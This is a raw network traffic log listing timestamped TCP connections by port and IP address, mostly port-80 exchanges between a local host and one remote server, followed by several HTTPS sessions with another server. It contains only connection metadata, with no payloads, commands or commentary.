Nov 20, 2024 18:57:22.079762936 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.080559015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.080610991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.080703020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.080765963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.081528902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.081587076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.081614017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.081669092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.082503080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.082556963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.082632065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.082686901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.083539963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.083615065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.083681107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.083748102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.084459066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.084501982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.084568024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.084616899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.117099047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.117170095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.117208958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.117229939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.117556095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.117636919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.117655039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.117748022 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.118355989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.118448973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.118484974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.118566036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.119272947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.119340897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.119370937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.119551897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.120230913 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.120342970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.120381117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.120393991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.121225119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.121273994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.121393919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.121439934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.122194052 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.122246981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.122298956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.122374058 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.123147011 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.123205900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.123253107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.123420000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.124133110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.124201059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.124239922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.124289036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.125106096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.125164986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.125207901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.125252008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.126216888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.126317978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.126327038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.126378059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.127181053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.127238989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.127306938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.127540112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.128046036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.128108025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.128189087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.128252983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.129034042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.129081964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.129085064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.129132986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.130014896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.130080938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.130110025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.130145073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.131023884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.131089926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.131227016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.131282091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.131963968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.132019997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.132025957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.132227898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.132940054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.133002043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.133105040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.133158922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.133948088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.134022951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.134030104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.134068966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.134906054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.134980917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.134994984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.135044098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.135816097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.135914087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.166227102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.166330099 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.166390896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.166415930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.166655064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.166722059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.166847944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.166912079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.166939974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.167131901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.167855024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.167907953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.167992115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.168078899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.168740988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.168804884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.221232891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.221302986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.221358061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.221407890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.221652985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.221811056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.221820116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.221846104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.221926928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.221976995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.222779989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.222882032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.222893000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.222951889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.223731995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.223814964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.223835945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.223931074 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.224751949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.224838972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.224864960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.224910021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.225759029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.225830078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.225843906 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.225929976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.226684093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.226763010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.227010012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.227072001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.227710009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.227729082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.227803946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.228669882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.228744984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.228780031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.228853941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.229610920 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.229707956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.229716063 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.229830980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.258603096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.258693933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.258694887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.258737087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.259031057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.259084940 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.259485006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.259563923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.260380983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.260394096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.260447025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.260978937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.261092901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.261102915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.261220932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.262721062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.262729883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.262814999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.262952089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.263017893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.263051987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.263099909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.263928890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.263983011 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.264051914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.264866114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.264961958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.264974117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.265048027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.265837908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.265932083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.265935898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.266000986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.266820908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.266901970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.266936064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.266983032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.267788887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.267842054 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.267872095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.267934084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.268769026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.268837929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.269052982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.269105911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.270009995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.270055056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.270062923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.270106077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.270852089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.270909071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.270973921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.271020889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.271735907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.271800995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.271838903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.271946907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.272671938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.272722960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.272816896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.272869110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.273643017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.273730040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.273758888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.273917913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.274662018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.274754047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.274847984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.274930000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.275604010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.275671959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.275706053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.275748968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.276550055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.276618958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.276649952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.276705980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.309453964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.309545040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.309583902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.309631109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.309691906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.309845924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.309904099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.309945107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.310153961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.310969114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.311153889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.311244965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.311310053 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.313155890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.313237906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.313946009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.313996077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.315402031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.315414906 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.315429926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.315444946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.315478086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.315502882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.315926075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.316098928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.316162109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.316215992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.316771984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.316850901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.316979885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.317698956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.317706108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.317770004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.318690062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.319016933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.319081068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.319653988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.319842100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.319917917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.320522070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.320528984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.320585966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.320868015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.320875883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.320924044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.321542025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.321644068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.321718931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.322720051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.322858095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.322935104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.323745012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.323828936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.323900938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.324500084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.324596882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.324680090 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.325421095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:22.325483084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:22.635806084 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.637653112 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.637671947 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.638088942 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.638096094 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.661341906 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.666604042 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.666629076 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.667242050 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.667248011 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.711118937 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.711639881 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.711668015 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.712084055 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.712090969 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.733186960 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.733566999 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.733581066 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.734033108 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.734038115 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.912224054 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.966857910 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.972138882 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.972153902 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:22.972624063 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:22.972630978 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.080977917 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.081094980 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.081170082 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.097068071 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.097141027 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.101504087 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.156955004 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.157030106 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.157135963 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.160298109 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.160298109 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.160362005 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.160392046 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.183681965 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.183721066 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.183737993 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:23.183747053 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:23.188806057 CET	443	49723	13.107.246.63	192.168.2.6
